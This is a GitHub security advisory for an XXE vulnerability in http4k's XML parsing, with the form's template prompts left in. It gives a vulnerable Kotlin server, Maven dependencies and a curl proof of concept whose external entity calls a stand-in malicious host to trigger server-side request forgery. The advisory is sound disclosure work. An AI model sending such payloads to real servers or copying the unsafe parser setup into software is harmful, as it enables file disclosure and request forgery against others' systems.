GHSA-7mj5-hjjj-8rgw: http4k has a potential XXE (XML External Entity Injection) vulnerability

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46
XML contents is parsed with DocumentBuilder without security settings on or external entity enabled

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Example Vulnerable server code:

import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document

fun main() {

    val xmlLens = Body.xml().toLens()

    // Create an HTTP handler
    val app: HttpHandler = { request ->
        try {
            // Parse the incoming XML payload to a Document object
            val xmlDocument: Document = xmlLens(request)

            // Extract root element name or other details from the XML
            val rootElementName = xmlDocument.documentElement.nodeName

            // Create a response XML based on the extracted information
            val responseXml = """
                <response>
                    <message>Root element is: $rootElementName</message>
                </response>
            """.trimIndent()

            // Respond with XML
            Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
        } catch (e: Exception) {
            // Handle invalid XML or other errors
            Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
        }
    }

    // Start the server
    val server = app.asServer(Netty(9000)).start()
    println("Server started on http://localhost:9000")
}

Maven dependency:

<dependencies>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-test-junit5</artifactId>
            <version>1.9.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.junit.jupiter</groupId>
            <artifactId>junit-jupiter-engine</artifactId>
            <version>5.10.0</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.jetbrains.kotlin</groupId>
            <artifactId>kotlin-stdlib</artifactId>
            <version>1.9.0</version>
        </dependency>

        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-core</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- Http4k XML format -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-format-xml</artifactId>
            <version>5.40.0.0</version>
        </dependency>

        <!-- http4k Netty -->
        <dependency>
            <groupId>org.http4k</groupId>
            <artifactId>http4k-server-netty</artifactId>
            <version>5.40.0.0</version>
        </dependency>
    </dependencies>

Exploit payload example to trigger SSRF

curl -X POST http://localhost:9000 -H “Content-Type: application/xml” -d “<?xml version="1.0” encoding="UTF-8"?><!DOCTYPE root [<!ENTITY xxe SYSTEM “https://replace.with.your.malicious.website/poc">]><root>&xxe;</root>”

Impact

What kind of vulnerability is it? Who is impacted?
The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability

References

• GHSA-7mj5-hjjj-8rgw
• http4k/http4k@35297ad
• https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46